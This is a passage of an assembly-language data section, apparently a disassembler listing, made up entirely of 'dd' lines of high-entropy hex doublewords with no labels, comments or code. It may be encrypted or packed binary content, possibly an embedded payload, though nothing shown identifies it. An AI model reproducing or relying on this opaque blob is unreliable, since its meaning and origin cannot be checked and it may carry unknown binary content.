0C978ED09h, 4BC5010Dh, 4203D1ADh dd 3CD46AE9h, 0D830AC07h, 0A5BDC982h, 9BEC57D6h, 1242091Fh dd 0B6DF5346h, 825CCB40h, 43646Eh, 0C32FB3BEh, 55F9767Ah dd 7720BFD5h, 5671105h, 0C80127D0h, 5907042Dh, 16FFB687h dd 6800C8BEh, 0C4E9358Ah, 9D2A41Ah, 18450672h, 511FA0C6h dd 0AE4070B9h, 6BDCB80Fh, 98557231h, 55429512h, 0ACD5D589h dd 9EE0D850h, 7D5C8365h, 88D92E3Dh, 45D56491h, 0CFFB431Eh dd 0F578292h, 58844E8Bh, 427BC15Eh, 0EF258018h, 5064582h dd 7833B859h, 5EC083CDh, 494FB523h, 982567A8h, 1D09D889h dd 0C518C448h, 142C780h, 0CB669538h, 0DE6A291Eh, 68999875h dd 0E971C2BCh, 0C1C6150Eh, 0AD9231F1h, 243CEF10h, 3FB4234h dd 5D8D0402h, 52A1CEE3h, 0E6E820B6h, 0BFD140h, 4DA56E0Fh dd 685FF989h, 10102C25h, 27595855h, 0D15EE8D1h, 527DFC82h dd 988A400Dh, 0F4626A6h, 122A1074h, 0B109E628h, 0FD195D1Ah dd 0F3F22E52h, 965D5CB2h, 0F630B5CFh, 205016E9h, 0F709E20Ch dd 7D58CD67h, 0BD555498h, 3F10B809h, 0DE418018h, 0A1A6F339h dd 0FD24D0E4h, 3B800768h dd 0C25E2662h, 0B1751A03h, 0DC081114h, 0EFC9814Fh, 69848FF6h dd 46CE6170h, 0CAE0C540h, 85F15B8Bh, 41E801C0h, 0BA2C920Fh dd 48670498h, 9B6573Ah, 15427227h, 0E3E5197Fh, 4830EE34h dd 0B52061E8h, 5A034698h, 99B5E70h, 4BB412F2h, 0C43BFC07h dd 0AFD4F711h, 2B1F0BC1h, 5AD58800h, 52C5801Ch, 0B006EDD7h dd 4B2A8406h, 9F30E259h, 0DE4029D3h, 0B850435Bh, 7D7271B3h dd 126C4F21h, 0E060FA53h, 0E4B46857h, 5F722792h, 20A357Eh dd 0D5058347h, 9EC15B65h, 9A7B8C43h, 0CFAC4E4Bh, 0F5DBA84Fh dd 0B8920F34h, 831F51Fh, 0B3D4D209h, 46685860h, 3EE7B537h dd 61D1F014h, 0B2499BDAh, 4E186360h, 0E4124413h, 48B4E317h dd 565E8176h, 8C64D1E9h, 0FC90509h, 0FDFE2684h, 69C658BDh dd 46686C0Ch, 0FE90A59h, 0CF92D4D5h, 5C38200h, 175948CCh dd 60251E68h, 0FE0DBF62h, 0E3C1020Bh, 52270B03h, 3D21E884h dd 2C2A1416h, 59AC76D8h, 0A84E5DAAh, 0E1CBB51Ah, 2243E34Ah dd 92B2529h, 8072197Ch, 0EA73FEACh, 4BD1601Bh, 1CBF3646h dd 2B67E913h, 4AC500BCh, 0C7ACF401h, 313B9D94h, 0F367447h dd 4F211A60h, 79DFCBCFh, 5DCC9B4Bh, 23A72568h, 8690BAECh dd 3252C85Ah, 0A8ED4BF5h, 5876C868h, 95257A5Eh, 665F97C0h dd 723A4C96h, 2CF38E3Ch, 3F1FDF81h, 10B7015Fh, 0C581838h dd 86385C9h, 991F4427h, 0CD3A38EBh, 7C9530B9h, 0C187B160h dd 5FACC857h, 0F9D1A1A2h, 42385Ah, 0CA14DDBAh, 4CEAC16Ah dd 960C0B07h, 3FA25336h, 0B850AA40h, 3A010B49h, 0AE8B2FF7h dd 96D5CC42h, 2968165Fh, 4AE2A73Bh, 365417D5h, 0E2552758h dd 43B7F43h, 33AE97E9h, 745C256Ch, 7F6262E6h, 2077BF00h dd 294807BCh, 0E2575FF8h, 0A0DD280Dh, 33E8EA16h, 0C73EED02h dd 5FE91247h, 591C65F8h, 5165EF80h, 0D03B383Ch, 0F9EBC596h dd 0CDE2CCE9h, 0C8B34853h, 0A293C612h, 0FE089245h, 0FCAE2021h dd 0B6C4B72Eh, 0DBE65C5Bh, 7389052Fh, 646F0E5Ch, 29BAAD0Bh dd 96612085h, 15112102h, 0DC9A52E9h, 93696B1Ah, 1909CF34h dd 0C43BE168h, 8A32201Bh, 3F9228D4h, 40ED925Fh, 23B59000h dd 0F383101Fh, 11F57881h, 6B510C5Fh, 0D5B9B1C5h, 58B1C78Ch dd 0CC75E913h, 9710DFA6h, 8951167Eh, 59CF3604h, 1DB1AF81h dd 0AA1B313Ah, 0AF7365D8h, 812BF25Eh, 622C3BDh, 0C136D79Eh dd 3B215A40h, 0A60C0504h, 0E12FA113h, 26706C9Eh, 0A118BEADh dd 0B7DDF70Ch, 0BAC55C68h, 3A0B3F05h, 4D022E9h, 4FB7BFh dd 0F78125CEh, 766643C7h, 7141315Fh, 39CC3061h, 8EE7123Bh dd 0CB431A56h, 6EF701B1h, 0C856C5Eh, 827E7809h, 107AFD90h dd 0A402EE3Eh, 0BB8F0A12h, 969014Ah, 0F4F1DD21h, 0BF03122Ah dd 0CF378379h, 1DD47D10h, 0FECDF509h, 0CC3E0EB6h, 8997C41Eh dd 0C854FED2h, 0E5EC08DEh, 0C51C522Ch, 22563C05h, 19049A12h dd 5D0CE710h, 6082CE2Ah, 0BB6A515Ah, 4E8D12F6h, 96C9522Ch dd 0AA68AFA1h, 13D86619h, 92D20FD3h, 2FE30004h, 0FFA03E17h dd 84277089h, 1CD157h, 0DB75120Dh, 7400251Ah, 2D422317h dd 7F9E2B79h, 5C680A46h, 93C5446Eh, 2AE1E811h, 0A783F958h dd 0B37F29EAh, 57EAC2B3h, 0BD9C4A14h, 0CCADF1E8h, 0F8F626BFh dd 0A21C9691h, 347506D7h, 20C230Dh, 3ADD1DECh, 9060FA01h dd 53025C95h, 0E9DE8708h, 30E5F826h, 0CD5A5557h, 337DB818h dd 3FE0DB55h, 62969A01h, 0C810D8Dh, 0DBC7A3CAh, 83782131h dd 0E532E654h, 0EE362062h, 242CD225h, 0C7167C00h, 0E38F117h dd 0D0106F3Eh, 4BD15F07h, 98697165h, 0AC0624A4h, 0F104A5D2h dd 913C65Bh, 0E770770Bh, 0FE804A5Fh, 74D355F2h, 417DB0D4h dd 7EC22E8Dh, 0ADA2C553h, 0E92F1566h, 5D900225h, 93835729h dd 1204B80Fh, 7C4F684Bh, 880520CDh, 1155E587h, 3A0A92A9h dd 8ABF875h, 5A13FD3Fh, 5C01ECD0h, 27407EACh, 16540F73h dd 9AB9E363h, 5982DF7Bh, 0FC098613h, 0F0A16EDCh, 79391A16h dd 63C30E62h, 0E0532F60h, 8D5AB7F3h, 0C68BCBCh, 4ACEE983h dd 21ACEF4Eh, 0A48EC4h, 5148DBBEh, 9EB907Bh, 0F8955ACFh dd 312770F8h, 4FB864FDh, 7BC9F711h, 6F0B744Ah, 0F1F84859h dd 0B97882C1h, 64C6DA25h, 4BC6BD9Fh, 0EC7BCB22h, 0B4D1E7Fh dd 0A971C944h, 1444B1F6h, 3C2D0EA1h, 275582E4h, 0F382C6ABh dd 5679EEFBh, 76B5AC42h, 0B61962E4h, 0B371381h, 10863C5Eh dd 0E44B1FC4h, 250532A1h, 0D52987F4h, 4F4E11Ch, 2D5A88EAh dd 6B1E9C01h, 5F8017Eh, 28BF0744h, 0CE2EE937h, 74A5ACD6h dd 0ED9E6F66h, 1BF0C289h, 0F1886664h, 0D099D8EAh, 0BA01AA96h dd 436E7499h, 1F69E2E0h, 8135B11Fh, 0E73725CAh, 2FF2310Eh dd 8B4B4B1Fh, 5BEF7488h, 98C3EF84h, 0B450A028h, 7880798Bh dd 52E30F6Ah, 1613E5B2h, 0F5E3092Ah, 5E61997Fh, 0B804A06Bh dd 35737204h, 3182E7C1h, 687169DFh, 8C2B76F9h, 49456108h dd 0BD9E0A6Bh, 0EDF46989h, 0F201FBA4h, 285D46E1h, 0D7C41F6Eh dd 0C0C52DB5h, 5B0C66DDh, 0AC84ED80h, 41039836h, 8EBAE0B9h dd 6DE3504h, 1BBE2C1h, 0DD30E3FBh, 0B2648427h, 30822E46h dd 65EECA9Fh, 575612A2h, 4E038A20h, 0E909A5B3h, 0FA5282E5h dd 819DA3EEh, 80C1FE5Ah, 84208B31h, 0AF6880CFh, 71AC704Bh dd 3DF0E9E1h, 55E20695h, 589EAA23h, 0F38B15A5h, 7620497Ah dd 30B5B80Ah, 780B0B23h, 0BBF65348h, 14150330h, 0C76B06EBh dd 0E660770Bh, 0E3180E4Bh, 0C30A1889h, 24F77C80h, 958AD929h dd 7F9FB45Bh, 0E92AC3FDh, 0B3E17FCh, 7B9F7D5Eh, 11FBF3Fh dd 0F5F42FBh, 77DC0B7h, 0CD4A53D5h, 5E286E2Ah, 7109CF55h dd 2025F144h, 2C90CAB0h, 0C11F0B8Bh, 9D8408EAh, 5176EA89h dd 0AF772F48h, 3C318BA1h, 0A7A03A32h, 0DC6082EFh, 0DE12106Bh dd 9AF893Eh, 9FF9ED5Ch, 0EB5408h, 6AB753ACh, 0C031C7FEh dd 0E4B572EFh, 0B77EE39h, 5704A18h, 0F0550731h, 47B5BA47h dd 369230E8h, 21E6A516h, 515BDF03h, 8E114FB9h, 7FC1042Ah dd 0EF722356h, 0EF501890h, 0E99D17E2h, 0B8E523E6h, 594B1680h dd 0B729E09Dh, 0F01A9DC4h, 0B1510B40h, 0CA88CC0Fh, 0B3530059h dd 5ED4E9D3h, 809BC981h, 0B68AB526h, 70EE802Ch, 0D066E65Eh dd 590B0616h, 8AAFC7E9h, 0F1C0929Dh, 8FEF359Eh, 0A97AF1BEh dd 70F50017h, 9832C763h, 188C01FEh, 0F921EE67h, 90DFD2E9h dd 656D35D9h, 465F5A2Ch, 5CD6018Dh, 0B5606E3h, 75CBECBAh dd 20CB3F70h, 70B0555Ah, 0AF83CBC6h, 0FE8A78B4h, 646B404Eh dd 0A8E90288h, 0B62D25D2h, 0BF9FC23Ah, 14028DABh, 9357E870h dd 791217C7h, 4C83E214h, 1AC2B433h, 74C75F3Dh, 0FB932D3Fh dd 93EA6F4h, 0C8FCD1F5h, 421E56E9h, 1175A5B0h, 372C53B9h dd 704F9C07h, 585E606Fh, 0C971BEBBh, 1CD2EA48h, 3040818h dd 0E684F301h, 396C0818h, 6D2D817Fh, 880500A4h, 6879F057h dd 255B4EE1h, 0FAC590FFh, 7A28DD75h, 45E1DA8Fh, 2F60FE08h dd 0B58AE1E9h, 40ADDD45h, 0C0A25EA2h, 7F9ABB1Eh, 0C6C03684h dd 664237EDh, 0D0F72E48h, 0E68F156Eh, 0A0D8AC2Dh, 0F828FA10h dd 0E9CB314Bh, 6F4FE331h, 0F4CA44B0h, 0B6D7B28Bh, 0CF04D2B9h dd 9E34BCBAh, 0AAA08509h, 0DA022A11h, 894DF85Bh, 0CAE810BBh dd 17791D88h, 0D9EA8E3Dh, 0B87F37C4h, 0FBA45EB5h, 97DA9A3Eh dd 9C7F8D42h, 0FC5B4B7Ch, 254AB18Bh, 4480EB04h, 481978DBh dd 2900293Fh, 0E9C0E687h dd 9EA8CA1Dh, 762D730Ah, 2FDB780Eh, 0E6E0E5C1h, 9504710Bh dd 9972E906h, 3F2767E6h, 0ED07545Ah, 65BD582Eh, 2D725B3h dd 29130D28h, 2F54DA7h, 0C0D8F754h, 4BAB1B6Ch, 2ED3A1AFh dd 6EA07024h, 0D987275Bh, 0E9C192DCh, 83052AD5h, 638720Ah dd 25875F4Ah, 66EC065Dh, 101C0B68h, 85A68DE9h, 4203C50h dd 12D99D14h, 4442B92Ch, 53890F97h, 3C04155Eh, 0B7C53930h dd 6408688h, 0FE0A6E35h, 402C665h, 86283F2Dh, 0FFA55DF5h dd 8333BB44h, 0E9690A29h, 82AECD6Ch, 22392AD0h, 0F61C9940h dd 89045E74h, 25B2E9DFh, 8EDE69BFh, 333668A8h, 0C7A640ECh dd 7A93BCA9h, 7F5CB522h, 0BE5826A2h, 0F7E59514h, 26127425h dd 6B11021Ah, 0AB5760A6h, 83C669CCh, 0DB9868DAh, 8EA85C30h dd 9B3C924h, 25D456Fh, 5CE5EA6Fh, 0EB48097Ah, 0CC25C5F1h dd 30F87DEAh, 0E9875930h, 519F3AF4h, 0EAD8E317h, 4E34BF3Dh dd 0D449FACAh, 0CED12984h, 0DB01248Ah, 0DF042897h, 0C103D6B2h dd 0B1F918E8h, 9AE93293h, 6F187DABh, 0CC634EE9h, 9A5AD3D3h dd 2FE561C3h, 0A3019462h, 357D6658h, 840BA5A7h, 0BC8056B7h dd 49345DDDh, 0E90DA937h, 0E4F51252h, 893D101Dh, 2C969767h dd 49359ECh, 7A339F0h, 7FB9C580h, 0AA99989h, 9B48968Bh dd 457A37EEh, 18058700h, 291EF835h, 0A1C4B5F0h, 924A2D38h dd 0BBA4ABC9h, 0D6AB5EBh, 45EC4641h, 8881AA33h, 387C08C1h dd 18B4F518h, 0C34B6887h, 0B7C5E3A8h, 72BED90h, 0A60459EEh dd 4F53765Ch, 26C0F78Dh, 0E7428950h, 0CAF90BC5h, 44AF32Fh dd 0A36BC268h, 50BF11D6h, 12881950h, 0C542E9D4h, 2E65FEh dd 0F16FC143h, 0D398E91Ah, 0AE50E702h, 88CE0162h, 982C0894h dd 5E499B78h, 9712B0BAh, 76E10DD3h, 0D8F5CD7Ch, 109F649Ah dd 4E8BF889h, 9C9E608h, 0B0734E68h, 9498C2CFh, 0CFB38120h dd 3F29B8B2h, 5AC79F09h, 54E91751h, 0ABDD9020h, 12416373h dd 724D12Dh, 0E98702B9h, 0E6A3ADCAh, 0AEC1C4C1h, 71D83AB0h dd 0F76C5EE4h, 0BC3217Ch, 30ABC568h, 56E0EBD4h, 336E55BEh dd 0B6B07291h, 81631380h, 4F93E307h, 0F36045DFh, 7CCF7EF2h dd 0B2CB060Eh, 0C3E0F75h, 0D9047F01h, 0EAD6E950h, 0A5445633h dd 84BB7053h, 1374DA20h, 0C58E130h, 0CAD20829h, 0AC172C3Bh dd 3BA4AB33h, 0F5909C02h, 0F9C27FDFh, 0E91370D8h, 0CBAC73E5h dd 9FD0F8D2h, 0FAA4D79Fh, 0C1D7CA52h, 0C082FA1h, 978A7C82h dd 0BA20B0C9h, 15A1454Eh, 30473140h, 0D81F5832h, 87208F4Ch dd 4EAC116h, 50CCEE01h, 0DD404526h, 95C53164h, 105FC72h dd 0D895E9D1h, 0B290ECB8h, 0C4712C00h, 41F68170h, 656E201Dh dd 0DB3CE80h, 984E61DEh, 8B4B097Bh, 68413EF5h, 5D09E6DDh dd 0D04A1693h, 7C7E14A6h, 3DE5B457h, 0CB481151h, 8030B21Dh dd 0B578AED0h, 0E3F11C13h, 0FB118996h, 0BD81D15Fh, 2D82D2DBh dd 3C01AAA9h, 0D10F4305h, 7E482102h, 89D03392h, 0A609D4F2h dd 0AA14450Dh, 0B114C38Dh, 0D40968C3h, 204F0507h, 0C325280Ah dd 0E7F6875h, 0A1030D5Eh, 993CF680h, 6BEC7FC6h, 0E7BFA99Ah dd 43187C92h, 0DFF75B34h, 6808EFD8h, 0C25E5C24h, 78FD31C5h dd 2158C705h, 0D30DECF8h, 280B1416h, 4EB3EB30h, 0AD94F836h dd 282A0609h, 0E9125389h, 25AEE62Ch, 488BE801h, 77E3186Eh dd 0CB4B018h, 0C8FED72Ch, 0F696C3A8h, 6AA9F273h, 1C16DF3Dh dd 24171F20h, 243D9F7h, 0A5ECBA54h, 511CD17Ch, 0EBE7D0ACh dd 66C4F2BAh, 0F5FEF5E4h, 3C4F2D00h, 583A0424h, 2F0EB11Ch dd 0DF41D772h, 8E6C15Eh, 7607EECCh, 78370981h, 21DD4DB6h dd 0A4E9A51Bh, 17305E21h, 2EE541BBh, 0FFEF088Dh, 20115259h dd 0F2B01118h, 87CCE259h, 0E6B295B6h, 9054015h, 3FC59750h dd 888EB682h, 0C63002F0h, 5EE2960h, 1731C90h, 0E916F1ECh dd 0FF302C3Bh, 9773B468h, 95E44F18h, 0E4586E9Dh, 3648BFD3h dd 608271ACh, 3B61E01Fh, 0ED24D2E1h, 21910446h, 12D6D429h dd 0A5AAFC08h, 317CFDB1h, 0CC93E480h, 76012D1Fh, 2979A97Eh dd 74405E8h, 0D9DDD18h, 0B0818291h, 6A4F8321h, 0E6CFBB04h dd 4D8041Ch, 0FF81BE48h, 126272D1h, 0CA28A200h, 0FED2F659h dd 70E5C27Ah, 1E49883Dh, 0E2D1251Bh, 0BBAEC54Dh, 9B46F200h dd 55E98CCEh, 0A94C629Dh, 5C3A7427h, 3F09CA98h, 356923Eh dd 0CCD1061Bh, 6C4B7DC0h, 22486042h, 4C219D09h, 0EF92A6B6h dd 65FB39C4h, 0F6B78480h, 0D3CE1686h, 36639A90h, 373A7BC0h dd 6917BD6Fh, 0F0BDF3FEh, 0D7502DC9h, 98049BB2h, 6949AE63h dd 6F128E30h, 58D269F8h, 0B5E69790h, 869780F6h, 9806BE41h dd 0F0212ADBh, 1DAC80D4h, 0DF898026h, 0F32F5778h, 0D614814h dd 83253C2Ch, 4BFC359Eh, 34797CBFh, 0D6215713h, 1B727634h dd 4C350801h, 0DAE3C10Dh, 1EF9F040h, 3E54DB24h, 5928FB02h dd 0A3E55A07h, 1416813Fh, 0A22E1D71h, 1D4102FCh, 42315D59h dd 0ED1E8AFFh, 0C85F1001h, 40604E40h, 0A314148Dh, 7D1CC923h dd 1229D2FBh, 0E644FB76h, 4582F301h, 0EAA30FB4h, 328E03FBh dd 0AE06C205h, 7B8009BCh, 0B685E95Ah, 56AC4068h, 312803D4h dd 3BCEFEFh, 0A5955325h, 0ED6096D6h, 0A05F3564h, 0B1886CF3h dd 40E4A8F5h, 0F01B82Ah, 2D511016h, 9C217C6Ch, 1D899900h dd 9552780Dh, 60E99468h, 0C38FE160h, 4CE364DBh, 33897B18h dd 1305C7AAh, 0DFFCA8F3h, 7BA1B692h, 2B84292Fh, 3E8CEF45h dd 14AB28BFh, 6784F19Dh, 43D039E9h, 0D2C46825h, 973C7D4Eh dd 4A10E96h, 0E1657C7Eh, 49886F66h, 562703AAh, 81B3402Bh dd 305B2DB1h, 0D72FB225h, 0FEC98000h, 0E9BFB450h, 1482572Dh dd 0B1C9B86h, 5D02B60Fh, 0E0E9446h, 0D713E5DCh, 51535B44h dd 0BD0DB6C0h, 2AF79842h, 2710A6AFh, 0E1682966h, 72D36EFBh dd 0D18974BEh, 49245E4h, 0C728EB83h, 93887044h, 5527AA2h dd 0C1DBF766h, 0E3EC82EBh, 20370D6h, 0B70D8417h, 0EC28695h dd 45A5409h, 0FF49D819h, 0A380CCh, 0BB45C478h, 8EC9CCAh dd 7C9102BDh, 0CB397799h, 9FDFF0EBh, 48F5B3C0h, 9FF1D2F4h dd 12B59278h, 0C7E6D739h, 1197295h, 7C693B3Eh, 8E07E0C1h dd 5E350206h, 0E9D27643h, 66710965h, 8A82E8B9h, 0DC0931F8h dd 5040528Fh, 0C0122241h, 0B104D14Eh, 8DBEC847h, 0B85A140Dh dd 64E91365h, 0D4ED6E5Dh, 0ACBA58DFh, 5A9F191Eh, 0EEEDD15Ch dd 0F47ED3DCh, 327EE907h, 9D2D4CC0h, 0EA5E4954h, 2C3E0070h dd 35D8F73Bh, 0CD095A0Eh, 8CC129FAh, 77287DCAh, 0AB7959E8h dd 154EC4Fh, 0B73305FEh, 0D9F9EE21h, 8811F5A9h, 4B126DEAh dd 0D2D542FEh, 8CC03BFDh, 12F87DB8h, 0EB487B2Eh, 16E90702h dd 69BA029Ah, 68FA51E1h, 83C44B49h, 10B08BBFh, 0E858A66Bh dd 5003E756h, 9C466E68h, 34485891h, 88274D35h, 5D4402Fh dd 855499D7h, 0E54B9A68h, 404F2E30h, 9EE6B33Ch, 736D21D3h dd 0A833B7BDh, 0D0F485h, 27F60EB9h, 5D606334h, 331D4205h dd 7C653E21h, 11D9A513h, 0E8015F04h, 6A88D9BFh, 7C68B981h dd 0DE4555C2h, 0B8F75816h, 0CA4EE84Fh, 5E93BF2Bh, 0B70FE691h dd 41370130h, 2FB660E5h, 0B6F53031h, 31A5951Eh, 95285479h dd 88BEDF0Fh, 0D8C26972h, 68590BA9h, 0C89A5106h, 7D5606DDh dd 2BDD341h, 0C741CD3Ah, 0C6C92460h, 340A7F82h, 6110200h dd 41754F1Fh, 4E2BAF2Eh, 0E6E5DD22h, 6A141AEh, 7F2A194Ah dd 20E0FD17h, 76C79A7Eh dd 0FBC1275Fh, 0A6BD2AD3h, 42A7B9C5h, 73477DF2h, 73019EA8h dd 4A6A551Dh, 0F43EC283h, 0E6E7D1D3h, 3AE19BC8h, 2A3AA48h dd 36B269C9h, 20D25C01h, 9F4E9808h, 0F3C522D9h, 2388A709h dd 0BAD6F79Bh, 0EAAEACD8h, 2EB9045Bh, 0C40A5A05h, 8133BE92h dd 0D7FAF451h, 31FE9C24h, 4B36D653h, 3AA92480h, 0E91D3A6Fh dd 2CEA7520h, 0E826C4Dh, 1FC47935h, 561EADC9h, 0BB1FB5C1h dd 0A45BBE8Fh, 752620A9h, 5827AA2h, 49BAE948h, 67D95B1Eh dd 0B46E32Ah, 878869B0h, 43CFEFCh, 0A3DD4EF6h, 3B484E5h dd 43A91FABh, 0E18851C6h, 44D9CB92h, 0DEF11409h, 0AE95BD3h dd 37413E79h, 54602C84h, 2389D5EDh, 90D15557h, 0C497F43Fh dd 0EF810377h, 619F15F8h, 0DB5CFB0h, 0E11EA3Eh, 0AE1853F7h dd 17E98227h, 0D33A7DB0h, 350CC477h, 0EA4E6B7Fh, 986ED829h dd 0E4B45B48h, 0E86A4025h, 77810F51h, 9BC6D589h, 0AD7F1CEDh dd 29CCBD04h, 53C06734h, 3B33B4Bh, 0EECB8113h, 4383792Dh dd 0AA9FC0DCh, 1D5AD928h, 610D114h, 399572AFh, 477E038Ch dd 0D9F758D0h, 7B3C100Eh, 0E0494F98h, 3B8678E9h, 76CEEBE5h dd 0F74A048Eh, 2A3B82DAh, 179F4E55h, 0B575E54h, 2B94DFC5h dd 0D0A525BDh, 0B84A1EA8h, 3DFBB421h, 0ED316FC6h, 0B900825Dh dd 0D2003A39h, 7B6D2D6Eh, 28015AFAh, 900705C8h, 8BB72020h dd 0E8442EEDh, 5F0A8950h, 0E7C3493Dh, 129830CFh, 0C2F24C9Fh dd 889CAF1h, 75C4C180h, 0AB83EE2h, 91A8135Bh, 0BF7370C5h dd 0BDEC5231h, 0FCFE2901h, 2B95C059h, 0B0EE743Ah, 0D84F420Ch dd 79E97A5Ah, 3E420841h, 655C07CCh, 0DC52AFA5h, 1A984284h dd 942219E8h, 305E1C31h, 4C160390h, 8DE019E0h, 32DF5F47h dd 554056CAh, 66807760h, 6D61E5ADh, 0C7DE9C7Ch, 0F74290BBh dd 56BAF152h, 3E21E96Bh, 0F0FBFDC7h, 955A12Bh, 5725EF39h dd 6E596789h, 15776885h, 97553ACCh, 34C91D4Ch, 9FDD04Fh dd 7D8011BEh, 3067AA00h, 0D7EA5E70h, 0ABD1E924h, 5AF05598h dd 78113B27h, 9925D26h, 0D551B265h, 0D9C5E389h, 0B7680647h dd 0BABE8266h, 6733E970h, 77EA3180h, 55114B0Dh, 94F5C2ABh dd 0A0F6D3ADh, 0ABB6529Dh, 1AED8140h, 48662507h, 881B0FAh dd 0FBD22E5Ah, 2C62F803h, 3449D387h, 4110C008h, 0F2905C88h dd 0C75BD828h, 0D003F7E6h, 8FC1D92Dh, 44C2EA84h, 752A2035h dd 6FCD8007h, 53C1E5C0h, 3B20B2B7h, 686A82D9h, 3098327Fh dd 276852F1h, 7276304Eh, 0E33B7B28h, 559E130Dh, 1CBC3516h dd 31093C25h, 0E46FE271h, 40A2F3F0h, 4520DD55h, 0A9150ED0h dd 0CC2BE902h, 6AEF31DCh, 5C92E8C3h, 0BAA7385h, 4879CD7Dh dd 904B793Eh, 64B8D200h, 366769h, 4F7B6E35h, 72D403Ch dd 0A281216h, 16E5F886h, 0B8FC15E9h, 0BD85E585h, 10848AABh dd 0B7368B5h, 1D237FEDh, 8B0164D0h, 4A782556h, 203AEAD1h dd 972F0DF7h, 0C8B051ECh, 0EEAC0640h, 0B35A4A68h, 0DFB30220h dd 0D6DE86E9h, 266EF70h, 0BE7275D6h, 7362F2B4h, 6AEAFCF9h dd 0DD68176Fh, 268C6AC2h, 586DE58Bh, 0E95055A0h, 27C5E14Bh dd 0EC4BCDB2h, 50033AA4h, 9F41FE4Ah, 0FB6C8930h, 7104A67Dh dd 83529D11h, 62C02F9h, 16063108h, 60CA133h, 0DA6BB5E3h dd 360BA456h, 703BAE69h, 1A702610h, 43066FEBh, 0D3B766F0h dd 92273EC8h, 6850A780h, 0F43D060Bh, 0E8FAAF4Ah, 72F0EE5Bh dd 9A724C73h, 514E1C00h, 0B774E969h, 2D24F1B5h, 7860CBC2h dd 2D182C49h, 6A0E4336h, 93E85066h, 38E402E3h, 49E9405Fh dd 0F214EEC4h, 5ED2823Fh, 2F1354A0h, 6D7E7260h, 0A840D212h dd 332A44BAh, 0C028C136h, 3CC9CCD5h, 84914F83h, 80006A65h dd 51B7CDEEh, 4FB5609Eh, 849EDC0h, 3E7658DBh, 0F272A9E9h dd 0BD481202h, 0EBD1A53Ch, 5A580805h, 6720A01h, 0C9C5E49h dd 6A2E00B7h, 0B28BE955h, 5EC4999Fh, 0D1CF046Eh, 9F9DC0EFh dd 0DD1F904Eh, 8982F729h, 60315FFDh, 8077427Bh, 0AC2D840Fh dd 609092A5h, 25476A28h, 8FC84C62h, 7F1B6338h, 0E2112953h dd 790C926Ch, 2CBBA6BCh, 29A5168Ch, 56B06A0Eh, 4D3658FCh dd 97418925h, 6A16F0E9h, 0E1C11913h, 0D0C92204h, 66B90913h dd 0A8B22142h, 0B6AAC575h, 0F72F2D36h, 890AC0D6h, 1CB462E1h dd 0B301FC59h, 743028B9h, 0E3A75F27h, 5D013884h, 0C121A151h dd 96DE2F32h, 0F121EBE9h, 0F124E3AAh, 0B024C6Eh, 7BB01D7h dd 89190554h, 24B4E95Fh, 888866B8h, 83BFC46Ah, 0C688FEEFh dd 89F34BCCh, 6C97E0C7h, 1B022F99h, 5C1A7452h, 0D75D1F6Ch dd 644BD739h, 29DDF1CFh, 0DB3A3AF1h, 89163DB7h, 81C8E2F2h dd 0B951FA01h, 3EA212Ah, 0D28204A2h, 0F994BB25h, 9541437h dd 7786B082h, 3142BABAh, 0DA2DD7F6h, 92B9F2F4h, 5B5938E5h dd 2CF7FED4h, 130F57D9h, 5EC9BC80h, 0D2DACFB3h, 6806CFD4h dd 2C157FD9h, 0C93F95C3h, 0E200538Bh, 61127C45h, 0E92E8192h dd 8881D596h, 30585AF3h, 27B8A36Eh, 62090935h, 368D53Eh dd 58814429h, 0AD5A7F22h, 545D7D16h, 0A0D91014h, 87F32C17h dd 5B6641DDh, 1856F857h, 0C4B1599Fh, 0C9C2C152h, 0EDF37AC5h dd 0EA64CBDFh, 2B5DCC19h, 0E98258A7h, 0C6D1FADAh, 0A9BF6937h dd 273AF797h, 29C2EE40h, 269C5344h, 9982C63h, 1B5784CEh dd 0D59DCA1Eh, 4AF17220h, 0A72F3DB1h, 78B56031h, 0E52782B4h dd 0C98190D1h, 0A9304B43h, 1807AA68h, 1F21962h, 48C532CAh dd 5116C9F2h, 0B9147A1Dh, 61570C7Bh, 7C2C1816h, 400E6036h dd 27724A50h, 3B139B98h, 0EAB8A179h, 5E871850h, 17AD8A65h dd 499E9FF1h, 16F50112h, 28B18037h, 585F66E3h, 92309928h dd 0BD05E4C1h, 54E970F1h, 0BA52409Fh, 0D9015D80h, 0A661B85Ch dd 0A07B6650h, 352625EFh, 0C820F321h, 0C6870260h, 62E76858h dd 8B9ABB4Dh, 2B4F5809h, 2D6FC2AAh, 0E65FFB70h, 46BE7F00h dd 4A182F7Dh, 0A8780156h, 94220A1Fh, 5007EDFCh, 0A9837F0Dh dd 0D9486430h, 95939808h, 799763F2h, 23B9C0BEh, 0B785427h dd 2DD7CF58h, 4E479CF9h, 0BFA849EBh, 68BD6258h, 929EAC2Bh dd 0F032E62Ah, 4ECAB244h, 0C47DED5Ch, 4BA8FBE3h, 0C4B7179Eh dd 0D868BEE6h, 815E4F5Ch, 0D030D205h, 85276820h, 13269328h dd 441AE929h, 0C1885200h, 5ACEC46h, 289F3F01h, 0CA5143Bh dd 0B425F1E4h, 0E1A4985h, 4BFE5FC0h, 0E9399801h, 10645427h dd 1684B909h, 1676AA2Ah, 2541D16h, 20163853h, 2CF0A140h dd 180D1E30h, 96377CFh, 7401E917h, 167F3FA9h, 39595D48h dd 0F5BA825Ah, 13C3EC62h, 27EB1020h, 0C520C2E9h, 9C4167CDh dd 890C3461h, 9170774Fh, 0EFEB24EDh, 9A118A03h, 4D0AC0E3h dd 33FA41D0h, 0AA3BA5Eh, 30D96E10h, 0F75B8C29h, 0E0E0B8D3h dd 75669F3Eh, 9714DE01h, 36E5B81Eh, 5AE926D4h, 5F28023Bh dd 8889E1D1h, 0F2D46660h, 0E488F451h, 972F4E22h, 81E5DA47h dd 45F95E08h, 0F68ED34h, 7633CB8h, 7FA99E4Bh, 0EE5D744Ah dd 50E92FFDh, 39CECB89h, 885FEDFAh, 0C145A393h, 7C2CB9CAh dd 64C124D9h, 0EC77886Dh, 68B6722Dh, 12E2EEECh, 0E1569F61h dd 5886E08Dh, 8217703Ch, 3C756668h, 1A20F725h, 3920078Fh dd 7919CEECh, 0C6F0E359h, 376071ADh, 1BE87BFDh, 0B602ACBCh dd 6AACAE7Ah, 0C3F4580Ch, 7CAD2D06h, 68C035DBh, 0E9DE1D9Dh dd 2507E490h, 392F6110h, 21A9E086h, 0B727D8BFh, 0C5D641A0h dd 0E9257BD5h, 5CCFC1D4h dd 4301F472h, 159CE65h, 0C04194Ch, 0A1A3DB81h, 57C1406Bh dd 893F2F09h, 0F26FF5FFh, 4CFB27Fh, 6803F2ACh, 0AF784CAAh dd 3055ACA9h, 0BA80A2DCh, 77761781h, 7225BF06h, 974391AFh 